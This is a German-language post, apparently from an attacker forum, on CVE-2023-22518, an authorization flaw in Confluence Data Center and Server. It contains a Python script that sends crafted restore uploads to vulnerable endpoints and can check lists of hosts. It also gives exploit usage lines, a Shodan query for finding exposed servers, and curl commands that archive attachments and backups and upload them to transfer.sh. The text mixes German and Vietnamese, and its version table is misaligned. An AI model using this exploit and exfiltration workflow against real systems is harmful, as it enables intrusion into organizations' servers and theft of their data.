
Schwachstelle durch unsachgemäße Autorisierung in Confluence Data Center und Server + bugsBonus 🔥
Schwachstelle durch fehlerhafte Autorisierung in Confluence Data Center und Server.
Atlassian hat Administratoren vor einer schwerwiegenden Schwachstelle in Confluence gewarnt. Die Ausnutzung dieser Schwachstelle kann zu Datenverlust führen. Die Entwickler empfehlen daher, den Patch sofort zu installieren.
Es ist zu beachten, dass die Schwachstelle nicht zur Offenlegung von Daten genutzt werden kann und keine Auswirkungen auf Atlassian-Cloud-Seiten hat, die über die Domain atlassian.net aufgerufen werden.
Detaillierte Informationen zur Schwachstelle
| Produkt | Betroffene Versionen | Gepatchte Versionen |
|---|---|---|
| Confluence Data Center | Alle Versionen betroffen | ab 7.19.16 |
| Confluence Server | ab 8.3.4 | |
| ab 8.4.4 | ||
| ab 8.5.3 | ||
| ab 8.6.1 |
Typ: Fehlerhafte Autorisierung
CWE: CWE-285 / CWE-266
ATT&CK: T1548.002
/json/setup-restore.action
/json/setup-restore-local.action
/json/setup-restore-progress.action
/server-info.action Forum
import requests
import random
import string
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def random_string(length=10):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(length))
def post_setup_restore(baseurl):
paths = ["/json/setup-restore.action", "/json/setup-restore-local.action", "/json/setup-restore-progress.action", "/server-info.action"]
for path in paths:
url = f"{baseurl.rstrip('/')}{path}"
headers = {
"X-Atlassian-Token": "no-check",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryT3yekvo0rGaL9QR7"
}
rand_str = random_string()
data = (
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
"Content-Disposition: form-data; name=\"buildIndex\"\r\n\r\n"
"true\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
f"Content-Disposition: form-data; name=\"file\";filename=\"{rand_str}.zip\"\r\n\r\n"
f"{rand_str}\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
"Content-Disposition: form-data; name=\"edit\"\r\n\r\n"
"Upload and import\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7--\r\n"
)
try:
response = requests.post(url, headers=headers, data=data.encode('utf-8'), timeout=10, verify=False)
if (response.status_code == 200 and
'The zip file did not contain an entry' in response.text and
'exportDescriptor.properties' in response.text):
print(f"[+] Vulnerable to CVE-2023-22518 on host {url}!")
else:
print(f"[-] Not vulnerable to CVE-2023-22518 for host {url}.")
except requests.RequestException as e:
print(f"[*] Error connecting to {url}. Error: {e}")
def main():
parser = argparse.ArgumentParser(description="Post setup restore script")
parser.add_argument('--url', help='The URL to target', required=False)
parser.add_argument('--file', help='Filename containing a list of URLs', required=False)
args = parser.parse_args()
if args.url:
post_setup_restore(args.url)
elif args.file:
with open(args.file, 'r') as f:
for line in f:
url = line.strip()
if url:
post_setup_restore(url)
else:
print("You must provide either --url or --file argument.")
if __name__ == "__main__":
main()
pip install pycryptodome
python3 exploit.py
Nhập URL: http://domain/json/setup-restore.action?synchronous=true
Nhập đường dẫn tới file .zip: /path/xmlexport-20231109-060519-1.zip
Shodan-Suche:
http.favicon.hash:-305179312
Confluence-Backdoor-Shell-Anwendung
Wenn Confluence mithilfe dieser Schwachstelle wiederhergestellt wird, ist das Verzeichnis %CONFLUENCE_HOME%/attachments weiterhin voller Dateien, möglicherweise bis zu Tausenden. Das Extrahieren ist recht einfach, und ihre Erweiterung kann mit dem Linux-Befehl file ermittelt werden. Beispiel:
file /var/lib/confluence/attachments/v4/191/28/77273124/77273124.1
/var/lib/confluence/attachments/v4/191/28/77273124/77273124.1: PNG image data, 442 x 170, 8-bit/color RGBA, non-interlaced
Hoặc
file /var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1
/var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1: PNG image data, 1250 x 674, 8-bit/color RGBA, non-interlaced
Beispiel für das einfache Sichern eines Verzeichnisses und das Entpacken des Archivs:
tar -czvf /var/atlassian/application-data/confluence/attachments_backup.tar.gz /var/atlassian/application-data/confluence/attachments
curl --upload-file /var/atlassian/application-data/attachments_backup.tar.gz https://transfer.sh/attachments_backup.tar.gz
https://transfer.sh/***********/attachments_backup.tar.gz
or
curl --upload-file /var/atlassian/application-data/confluence/backups/backup-2023_09_26.zip https://transfer.sh/backup-2023_09_26.zip
https://transfer.sh/***********/backup-2023_09_26.zip